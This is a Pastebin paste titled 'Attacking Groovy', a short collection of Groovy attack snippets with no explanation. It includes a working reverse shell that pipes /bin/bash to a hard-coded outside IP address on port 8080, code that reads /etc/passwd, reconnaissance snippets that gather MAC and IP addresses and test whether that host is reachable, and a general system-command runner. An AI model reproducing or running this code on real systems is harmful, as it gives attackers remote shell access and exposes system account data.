Advertisement
joemccray

Attacking Groovy

Aug 23rd, 2016
741
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.66 KB | None | 0 0
  1. —————Get Mac Address—————
  2. NetworkInterface.networkInterfaces*.hardwareAddress*.collect { String.format( '%02x', it ) }*.join( ':' )
  3. —————————————————————————-
  4.  
  5. —————Get IP Address—————
  6. "'${InetAddress.getLocalHost()}'}"
  7.  
  8.  
  9.  
  10.  
  11.  
  12.  
  13.  
  14. —————Get IP of Google—————
  15. def hostname = 'google.com'
  16. println InetAddress.getByName(hostname).address.collect { it & 0xFF }.join('.')
  17. —————————————————————————-
  18.  
  19.  
  20. —————Read Password File—————
  21. new File('/etc/passwd').eachLine { line ->
  22. println line
  23. }
  24. —————————————————————————-
  25.  
  26.  
  27. —————Reverse Shell—————
  28. String host="54.209.131.202";
  29. int port=8080;
  30. String cmd="/bin/bash";
  31. Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
  32. —————————————————————————-
  33.  
  34.  
  35. —————Reach external host—————
  36. public class PingExample {
  37. public static void main(String[] args){
  38. try{
  39. InetAddress address = InetAddress.getByName("54.209.131.202");
  40. boolean reachable = address.isReachable(10000);
  41. System.out.println("Is host reachable? " + reachable);
  42. } catch (Exception e){
  43. e.printStackTrace();
  44. }
  45. }
  46. }
  47. —————————————————————————-
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55. ———————Run any system command————————
  56. def runCommand (String cmdLine = "" , long wait = 5000 )
  57. {
  58.  
  59. def sout = new StringBuffer()
  60. def serr = new StringBuffer()
  61. def piped = cmdLine.split("\\|") as List
  62. def p
  63. piped.each { cmd ->
  64. cmd = cmd.trim()
  65. def cmdList = cmd.split(' ') as List
  66. if(p)
  67. p = p.pipeTo(cmdList.execute())
  68. else
  69. p = cmdList.execute()
  70. }
  71. p.consumeProcessOutput(sout,serr)
  72. p.waitForOrKill(wait)
  73. if(serr)
  74. println serr
  75. if(sout)
  76. println sout
  77. }
  78.  
  79. //examples
  80. runCommand("cat /etc/passwd");
  81. runCommand("ls -lsa");
  82. —————————————————————————-
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement